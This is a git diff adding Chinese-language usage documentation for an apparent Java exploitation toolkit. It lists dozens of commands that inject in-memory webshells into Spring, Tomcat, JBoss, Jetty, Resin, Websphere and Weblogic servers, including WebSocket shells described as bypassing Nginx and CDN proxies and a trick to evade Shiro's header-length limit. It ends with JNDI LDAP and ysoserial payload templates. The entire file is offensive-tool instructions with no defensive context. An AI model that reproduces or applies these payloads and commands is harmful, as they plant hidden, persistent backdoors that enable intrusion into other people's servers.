diff --git a/10、Java-Mem-Shell.md b/10、Java-Mem-Shell.md new file mode 100644 index 0000000..b57300d --- /dev/null +++ b/10、Java-Mem-Shell.md @@ -0,0 +1,49 @@ +# 使用参数 + +解决 Shiro Header 头部过长问题: + +- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载 + +在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 +从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 + +内存马: + +- 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马 +- 命令 `EX-MS-SpringControllerMS-...`:向系统内植入 Spring Controller 类型的内存马 +- 命令 `EX-MS-SpringWebfluxMS-...`:向系统内植入 Spring WebFilter 类型的内存马(仅支持 gz 及 cmd) +- 命令 `EX-MS-TFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TFMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TFMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 +- 命令 `EX-MS-TLMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 +- 命令 `EX-MS-TSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-TSMSFromRequest-...`:通过在线程组中找 Request 向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-TSMSFromThread-...`:通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 +- 命令 `EX-MS-JBFMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 +- 命令 `EX-MS-JBSMSFromContext-...`:通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 +- 命令 `EX-MS-JFMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 +- 命令 `EX-MS-JSMSFromJMX-...`:利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 +- 命令 `EX-MS-RFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 +- 命令 `EX-MS-RSMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 +- 命令 `EX-MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马 +- 命令 `EX-MS-RMIBindTemplate-...`:RMI 型内存马 +- 命令 ```cmsMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +- 命令 ```proxyMSBYNC```: 绕过Nginx、CDN代理限制的 WebSocket 马,路径`/x` +- 命令 ```WsResin```: 适配 Resin 的 WebSocket 马,请求头中`Upgrade: websocket` +- 命令 ```MsTSJser```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/cmd` +- 命令 ```MsTSJproxy```: 适配Tomcat、Spring、Jetty的 WebSocket 马,路径`/proxy` +- 命令 ```WsWeblogic```: 适配 Weblogic 的 WebSocket 马,路径`/path` +- 命令 ```WSWebsphereProxy```: 适配 Websphere 的 WebSocket 马,路径`/path` + +# 用法示例 + ++ JNDI-Injection-Exploit 用法: ++ shell后可以加额外参数,需要base64编码,参数具体看1.5 +``` +ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64params +``` + ++ ysoserial +``` +java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]" +``` \ No newline at end of file